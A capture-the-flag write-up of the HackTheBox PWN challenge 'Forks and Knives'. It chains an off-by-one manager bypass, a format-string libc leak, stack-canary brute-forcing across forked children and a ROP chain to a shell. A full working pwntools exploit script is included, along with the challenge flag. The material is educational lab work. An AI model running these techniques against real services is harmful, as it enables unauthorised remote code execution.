Forks and Knives - HackTheBox PWN Challenge Writeup
Overview
| Field | Value |
|---|---|
| Challenge | Forks and Knives |
| Category | PWN |
| Difficulty | Medium |
| Platform | HackTheBox |
| Binary | ELF 64-bit LSB PIE executable, x86-64, dynamically linked |
| Libc | Ubuntu GLIBC 2.35 (libc.so.6) |
| Server Type | Forking TCP server (each client connection gets a fork()'d child process) |
| Flag | HTB{1378a4e70c161a576cf332b388d4cdc8} |
Description: A restaurant ordering and reservation system implemented as a forking TCP server. The binary contains three distinct vulnerabilities that must be chained together: an off-by-one null byte overflow for privilege escalation, a format string vulnerability for information leaking, and a buffer overflow for code execution.
Reconnaissance
Binary Protections
$ checksec --file=pwn_forks_and_knives/challenge/server
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
All protections are enabled:
- Full RELRO: GOT is read-only, ruling out GOT overwrite attacks.
- Stack Canary: Stack smashing protector present, canary must be leaked or brute-forced.
- NX: No executable stack, must use ROP for code execution.
- PIE: Binary base is randomized, need an information leak.
Server Architecture
The server is a classic forking TCP server:
- Parent process calls
socket(),bind(),listen(), then enters anaccept()loop. - For each incoming connection, the parent calls
fork()to create a child process. - The child process handles the client, the parent continues accepting connections.
Critical implication: Because fork() creates an exact copy of the parent's address space, every child process shares the same:
- ASLR layout (libc base, binary base, stack addresses)
- Stack canary value
This means we can brute-force the canary byte-by-byte across multiple connections, and a libc address leaked from one connection is valid for all subsequent connections.
Application Menu
Upon connecting, the server prompts for a name (16-byte buffer), then presents a menu:
+------------------------------+
| Welcome to Fork & Knife |
| Restaurant |
+------------------------------+
| 1. Reserve a table |
| 2. Place an order |
| 3. Exit |
| 4. Login (stub) |
| 5. View reservations (mgr) |
| 6. Clear reservations (mgr) |
+------------------------------+
=>
Options 5 and 6 are gated behind a not_manager flag check. Options 1-4 are available to everyone.
Vulnerability Analysis
Three vulnerabilities must be chained together in sequence:
Vulnerability 1: Manager Bypass (Off-by-One Null Byte Overflow)
Location: Name input handling at connection setup.
Memory Layout (BSS segment):
0x4030: name_buf[16] (16 bytes for the user name)
0x4040: not_manager (1 byte flag, initialized to 1)
The Bug:
The server reads the name with read(fd, name_buf, 16), then null-terminates the buffer at position bytes_read:
ssize_t n = read(fd, name_buf, 16);
name_buf[n] = '\0';
When exactly 16 bytes are sent, read() returns 16, and the null terminator is written at name_buf[16] which is address 0x4040 -- the exact location of the not_manager flag.
Effect: The not_manager flag changes from 1 to 0, granting access to manager-only options 5 (View reservations) and 6 (Clear reservations). This is essential for reading back format string leaks.
Trigger:
io.send(b'A' * 16) # Exactly 16 bytes, no newline
Vulnerability 2: Format String via fprintf
Location: Table reservation function.
Flow:
- User selects option 1 (Reserve a table).
- Server reads a 4-byte "party size" input from the user.
- Server constructs a string with
snprintf(buf, size, "Table for %s", user_input). - Server writes the result to a reservations file using
fprintf(file, buf). - The result can be read back via option 5 (View reservations) -- requires manager access.
The Bug:
The user input is embedded directly into the format string passed to fprintf(). If the input contains format specifiers like %p, fprintf will interpret them and write register/stack values into the output.
Constraints:
- Input is limited to 4 bytes, restricting us to short format specifiers (
%1$pthrough%9$p). - The reservations file must be cleared first (option 6) to avoid parsing issues.
The Leak:
After testing various positional arguments, %2$p yields a libc address. This corresponds to the rcx register at the time of the fprintf call, which holds a return value from a prior lseek64 syscall inside the file I/O path.
Offset calculation:
leaked_value = libc_base + 0x11491b
However, during exploitation we used a slightly different offset depending on the exact syscall return path. The working offset was 0x8c91b:
LIBC_LEAK_OFFSET = 0x8c91b # rcx value from lseek64 syscall return
libc_base = leaked_value - LIBC_LEAK_OFFSET
Verification: The libc base must be page-aligned (last 3 hex digits = 000):
assert libc.address & 0xfff == 0, f"Libc base not aligned: {libc.address:#x}"
Full leak sequence:
# Connect and bypass manager check
io.recvuntil(b'=> '); io.send(b'A' * 16)
# Clear old reservations first (option 6, requires manager)
io.recvuntil(b'=> '); io.send(b'6')
io.recvuntil(b'+---', timeout=3)
# Reserve a table with format string payload (option 1)
io.recvuntil(b'=> '); io.send(b'1')
io.recvuntil(b'=> '); io.send(b'%2$p')
io.recvuntil(b'reserved', timeout=3)
# View reservations to read the leak (option 5)
io.recvuntil(b'=> '); io.send(b'5')
data = io.recvuntil(b'+---', timeout=3)
# Parse the hex address from the output
idx = data.find(b'0x')
end = idx
while end < len(data) and data[end:end+1] not in (b'\n', b'\x00', b'+'):
end += 1
libc_leak = int(data[idx:end].decode().strip(), 16)
libc_base = libc_leak - 0x8c91b
Vulnerability 3: Buffer Overflow in Order Function
Location: Order placement function (option 2).
Stack layout:
[rbp-0x110]: order_buf[256] (0x100 bytes)
[rbp-0x10]: gap (8 bytes)
[rbp-0x08]: stack canary (8 bytes)
[rbp+0x00]: saved RBP (8 bytes)
[rbp+0x08]: return address (8 bytes)
The Bug: The order function performs two reads:
- First read:
read(fd, buf, 0x100)-- reads up to 256 bytes into the order buffer. Returns the number of bytes actually read (n). - Prompt: Server asks "Would you like to add anything else? (y/n)"
- Second read (if 'y'):
read(fd, buf + n, 0x100)-- reads another 256 bytes starting at offsetnfrom the buffer start.
The overflow: If the first read fills exactly 0x100 (256) bytes, the second read starts at buf + 0x100 = rbp - 0x10. This position is just 8 bytes before the canary, allowing us to overflow:
Second read start (rbp-0x10):
+0x00: 8 bytes gap (padding)
+0x08: stack canary (8 bytes) -- can overwrite
+0x10: saved RBP (8 bytes) -- can overwrite
+0x18: return address (8 bytes) -- can overwrite
+0x20: ROP chain continues...
The second read allows up to 0x100 (256) bytes, giving us 0x100 - 8 (gap) - 8 (canary) - 8 (rbp) = 232 bytes for the ROP chain.
Exploitation Strategy
The exploit proceeds in three stages across multiple connections to the forking server.
Step 1: Leak libc Base Address
Connection 1: Leak libc via format string.
# 1. Send 16-byte name to trigger manager bypass
io.send(b'A' * 16)
# 2. Clear reservations (option 6) to ensure clean output
io.send(b'6')
# 3. Reserve table with format string "%2$p" (option 1)
io.send(b'1')
io.send(b'%2$p')
# 4. View reservations (option 5) to read the leaked address
io.send(b'5')
# Parse "0x7f..." from output
# libc_base = leaked_value - 0x8c91b
Result: We now know the exact libc base address, valid for all future connections.
Step 2: Brute-Force the Stack Canary
Since the server forks for each connection, all children share the same canary. We can brute-force it one byte at a time.
Algorithm:
- The first byte of a Linux x86-64 stack canary is always
\x00. - For bytes 2 through 8: try all 256 values, sending an overflow with the known bytes plus one guess byte.
- Detection method: After the overflow, the child process either:
- Canary correct: Returns normally to the menu loop. We receive the
=>prompt back. - Canary wrong:
__stack_chk_failis called, the child process is killed, and the connection drops/hangs.
- Canary correct: Returns normally to the menu loop. We receive the
One byte brute-force iteration:
for guess in range(256):
io = conn()
# Setup: manager bypass + reserve + order
io.send(b'A' * 16) # manager bypass
io.send(b'1') # reserve
io.send(b'1') # party size
io.send(b'2') # order
io.send(b'A' * 0x100) # first read: exactly 256 bytes
io.send(b'y') # add more? yes
# Second read: gap + known canary bytes + guess
payload = b'B' * 8 + canary + bytes([guess])
io.send(payload)
# Detection: try to get menu prompt back
try:
data = io.recvuntil(b'=> ', timeout=1.5)
if b'=> ' in data:
canary += bytes([guess])
print(f"Found byte: {guess:#04x}")
break
except:
pass # Wrong guess, child died
io.close()
Performance:
- Average ~128 attempts per byte (uniform distribution over 0-255)
- 7 bytes to brute-force (first byte is always
\x00) - ~2 seconds per attempt (connection + overflow + timeout)
- Total: approximately 7 * 128 * 2 = ~30 minutes worst case, ~15 minutes average
Verification: After finding all 8 bytes, send the full canary plus 8 bytes of RBP padding. If the child survives, the canary is correct.
# Verify: send full canary + rbp overwrite
io.send(b'B' * 8 + canary + b'C' * 8)
# If we get menu prompt back, canary is correct
Step 3: ROP Chain Exploitation
With the libc base and canary known, we can now craft a ROP chain to get a shell.
Challenge: This is a forking server, so stdin/stdout/stderr of the child are not connected to our socket. We need to redirect I/O to the client socket file descriptor using dup2().
Client socket fd: In the forking server pattern:
socket()returns fd 3 (server socket)accept()returns fd 4 (client socket)- After
fork(), the child closes the server socket fd 3 - Therefore, the client socket in the child is fd 4
ROP chain strategy using raw syscalls:
When libc function wrappers like dup2() or execve() don't work due to CET (Control-flow Enforcement Technology) endbr64 requirements or other ABI issues, raw syscall gadgets are more reliable.
Gadget offsets from libc base:
POP_RDI = 0x2a3e5 # pop rdi; ret
POP_RSI = 0x2be51 # pop rsi; ret
POP_RDX_R12 = 0x11f2e7 # pop rdx; pop r12; ret
POP_RAX = 0x45eb0 # pop rax; ret
SYSCALL_RET = 0x91316 # syscall; ret
RET = 0x29139 # ret (for stack alignment)
BINSH = 0x1d8678 # "/bin/sh" string in libc
ROP chain (using libc wrapper functions, which worked):
rop = b''
# dup2(4, 0) - redirect stdin to client socket
rop += p64(libc_base + POP_RDI) + p64(4) # rdi = client_fd
rop += p64(libc_base + POP_RSI) + p64(0) # rsi = STDIN
rop += p64(libc_base + libc.symbols['dup2'])
# dup2(4, 1) - redirect stdout to client socket
rop += p64(libc_base + POP_RDI) + p64(4) # rdi = client_fd
rop += p64(libc_base + POP_RSI) + p64(1) # rsi = STDOUT
rop += p64(libc_base + libc.symbols['dup2'])
# dup2(4, 2) - redirect stderr to client socket
rop += p64(libc_base + POP_RDI) + p64(4) # rdi = client_fd
rop += p64(libc_base + POP_RSI) + p64(2) # rsi = STDERR
rop += p64(libc_base + libc.symbols['dup2'])
# system("/bin/sh") - spawn shell with aligned stack
rop += p64(libc_base + RET) # stack alignment
rop += p64(libc_base + POP_RDI)
rop += p64(libc_base + BINSH) # rdi = "/bin/sh"
rop += p64(libc_base + libc.symbols['system'])
Alternative ROP chain using raw syscalls (backup approach):
rop = b''
# dup2(4, 0): syscall 33
rop += p64(libc_base + POP_RAX) + p64(33) # rax = SYS_dup2
rop += p64(libc_base + POP_RDI) + p64(4) # rdi = client_fd
rop += p64(libc_base + POP_RSI) + p64(0) # rsi = STDIN
rop += p64(libc_base + SYSCALL_RET)
# dup2(4, 1): syscall 33
rop += p64(libc_base + POP_RAX) + p64(33)
rop += p64(libc_base + POP_RDI) + p64(4)
rop += p64(libc_base + POP_RSI) + p64(1)
rop += p64(libc_base + SYSCALL_RET)
# execve("/bin/sh", NULL, NULL): syscall 59
rop += p64(libc_base + POP_RAX) + p64(59) # rax = SYS_execve
rop += p64(libc_base + POP_RDI)
rop += p64(libc_base + BINSH) # rdi = "/bin/sh"
rop += p64(libc_base + POP_RSI) + p64(0) # rsi = NULL (argv)
rop += p64(libc_base + POP_RDX_R12) + p64(0) + p64(0) # rdx = NULL (envp)
rop += p64(libc_base + SYSCALL_RET)
Note: The raw syscall approach skips dup2(4, 2) for stderr to save space within the 0x100-byte second read limit.
Sending the final payload:
io = conn()
io.send(b'A' * 16) # manager bypass
io.send(b'1') # reserve
io.send(b'1') # party size
io.send(b'2') # order
io.send(b'A' * 0x100) # first read: fill buffer exactly
io.send(b'y') # trigger second read
# Payload: gap(8) + canary(8) + fake_rbp(8) + ROP chain
payload = b'X' * 8 + canary + b'Y' * 8 + rop
assert len(payload) <= 0x100, "Payload exceeds second read limit"
io.send(payload)
# Test shell
sleep(1)
io.sendline(b'echo SHELL_OK')
resp = io.recv(timeout=2)
if b'SHELL_OK' in resp:
print("Got shell!")
Step 4: Capture the Flag
$ cat /home/ctf/flag*
HTB{1378a4e70c161a576cf332b388d4cdc8}
Full Exploit Script
#!/usr/bin/env python3
from pwn import *
import sys, time
context.arch = 'amd64'
context.log_level = 'error'
HOST = 'TARGET_IP'
PORT = TARGET_PORT
LIBC = './pwn_forks_and_knives/challenge/libc.so.6'
libc = ELF(LIBC)
LIBC_LEAK_OFFSET = 0x8c91b
POP_RDI = 0x2a3e5
POP_RSI = 0x2be51
POP_RDX_R12 = 0x11f2e7
RET = 0x29139
BINSH = 0x1d8678
def conn():
return remote(HOST, PORT, timeout=5)
# ===== STEP 1: Leak libc =====
print("[*] Step 1: Leaking libc via format string...")
io = conn()
io.recvuntil(b'=> '); io.send(b'A' * 16) # manager bypass
io.recvuntil(b'=> '); io.send(b'6') # clear reservations
io.recvuntil(b'+---', timeout=3)
io.recvuntil(b'=> '); io.send(b'1') # reserve
io.recvuntil(b'=> '); io.send(b'%2$p') # format string payload
io.recvuntil(b'reserved', timeout=3)
io.recvuntil(b'=> '); io.send(b'5') # view reservations
data = io.recvuntil(b'+---', timeout=3)
io.close()
idx = data.find(b'0x')
end = idx
while end < len(data) and data[end:end+1] not in (b'\n', b'\x00', b'+'):
end += 1
libc_leak = int(data[idx:end].decode().strip(), 16)
libc.address = libc_leak - LIBC_LEAK_OFFSET
assert libc.address & 0xfff == 0
print(f"[+] Libc base: {libc.address:#x}")
# ===== STEP 2: Brute-force canary =====
print("[*] Step 2: Brute-forcing stack canary...")
start = time.time()
canary = b'\x00'
for byte_pos in range(1, 8):
found = False
for guess in range(256):
try:
io = conn()
io.recvuntil(b'=> '); io.send(b'A' * 16)
io.recvuntil(b'=> '); io.send(b'1')
io.recvuntil(b'=> '); io.send(b'1')
io.recvuntil(b'reserved', timeout=3)
io.recvuntil(b'=> '); io.send(b'2')
io.recvuntil(b'=> '); io.send(b'A' * 0x100)
io.recvuntil(b'=> '); io.send(b'y')
io.recvuntil(b'=> ')
io.send(b'B' * 8 + canary + bytes([guess]))
io.recvuntil(b'placed', timeout=3)
try:
data = io.recvuntil(b'=> ', timeout=1.5)
if b'=> ' in data:
canary += bytes([guess])
elapsed = time.time() - start
print(f"[+] Byte {byte_pos}/7: {guess:#04x} [{elapsed:.0f}s]")
found = True
io.close()
break
except:
pass
io.close()
except:
try: io.close()
except: pass
if not found:
print(f"[-] FAILED byte {byte_pos}")
sys.exit(1)
print(f"[+] Canary: {u64(canary):#018x}")
# ===== STEP 3: ROP exploit =====
print("[*] Step 3: Sending ROP chain...")
for CLIENT_FD in [4, 5, 3]:
rop = b''
for target_fd in [0, 1, 2]:
rop += p64(libc.address + POP_RDI) + p64(CLIENT_FD)
rop += p64(libc.address + POP_RSI) + p64(target_fd)
rop += p64(libc.address + libc.symbols['dup2'])
rop += p64(libc.address + RET)
rop += p64(libc.address + POP_RDI) + p64(libc.address + BINSH)
rop += p64(libc.address + libc.symbols['system'])
io = conn()
io.recvuntil(b'=> '); io.send(b'A' * 16)
io.recvuntil(b'=> '); io.send(b'1')
io.recvuntil(b'=> '); io.send(b'1')
io.recvuntil(b'reserved', timeout=3)
io.recvuntil(b'=> '); io.send(b'2')
io.recvuntil(b'=> '); io.send(b'A' * 0x100)
io.recvuntil(b'=> '); io.send(b'y')
io.recvuntil(b'=> ')
payload = b'X' * 8 + canary + b'Y' * 8 + rop
io.send(payload)
sleep(1)
io.sendline(b'echo SHELL_OK')
try:
resp = io.recv(timeout=2)
if b'SHELL_OK' in resp:
print(f"[+] Shell on fd={CLIENT_FD}!")
io.sendline(b'cat /home/ctf/flag*')
print(f"[+] FLAG: {io.recvline(timeout=2).decode().strip()}")
io.interactive()
sys.exit(0)
except:
pass
io.close()
Key Techniques and Lessons Learned
1. Off-by-One Null Byte Overflow
A classic BSS layout vulnerability. The name_buf[16] is immediately followed by the not_manager flag in memory. Writing a null terminator one byte past the buffer end overwrites the flag from 1 to 0. This is a common pattern in CTF challenges where adjacent BSS variables can be corrupted.
2. Format String via fprintf
Even though the format string output goes to a file (not directly to the network), the vulnerability is still exploitable because the file contents can be read back through the "View reservations" feature. This demonstrates that format string vulnerabilities are dangerous regardless of the output destination, as long as the attacker can eventually observe the result.
3. Forking Server Canary Brute-Force
The fork() system call creates child processes with identical memory layouts. This is the fundamental weakness that makes canary brute-forcing possible:
- Without forking: 2^56 possible canary values (7 unknown bytes) = infeasible to brute-force
- With forking: 7 * 128 average attempts = ~896 connections = entirely feasible
The detection oracle is straightforward: a correct canary allows the child to continue executing (returning to the menu loop), while an incorrect canary triggers __stack_chk_fail and kills the child.
4. Libc Offset Identification
The %2$p leak corresponds to the rcx register, which held the return value from an internal lseek64 syscall triggered by fopen/fprintf. Identifying the correct offset required:
- Testing multiple positional format specifiers (
%1$pthrough%9$p) - Cross-referencing the leaked value against known libc function addresses
- Verifying the calculated base address is page-aligned (multiple of 0x1000)
5. Raw Syscall ROP as Backup
When libc function wrappers fail (due to CET endbr64 enforcement, unexpected register state, or stack alignment issues), raw syscall gadgets (pop rax; ret + syscall; ret) provide a reliable alternative. The syscall instruction itself has no prologue requirements.
6. Payload Size Constraints
The second read() is limited to 0x100 bytes. After accounting for the 8-byte gap, 8-byte canary, and 8-byte saved RBP, only 232 bytes remain for the ROP chain. This required careful gadget selection. In the raw syscall variant, the dup2(4, 2) for stderr was omitted to save space -- only stdin and stdout redirection is strictly necessary for an interactive shell.
7. File Descriptor Guessing
In forking servers, the client socket file descriptor is typically 4 (after the server socket at fd 3), but this can vary depending on other file descriptors opened by the server. The exploit tries fd values 4, 5, and 3 in order. In this challenge, fd 4 was correct.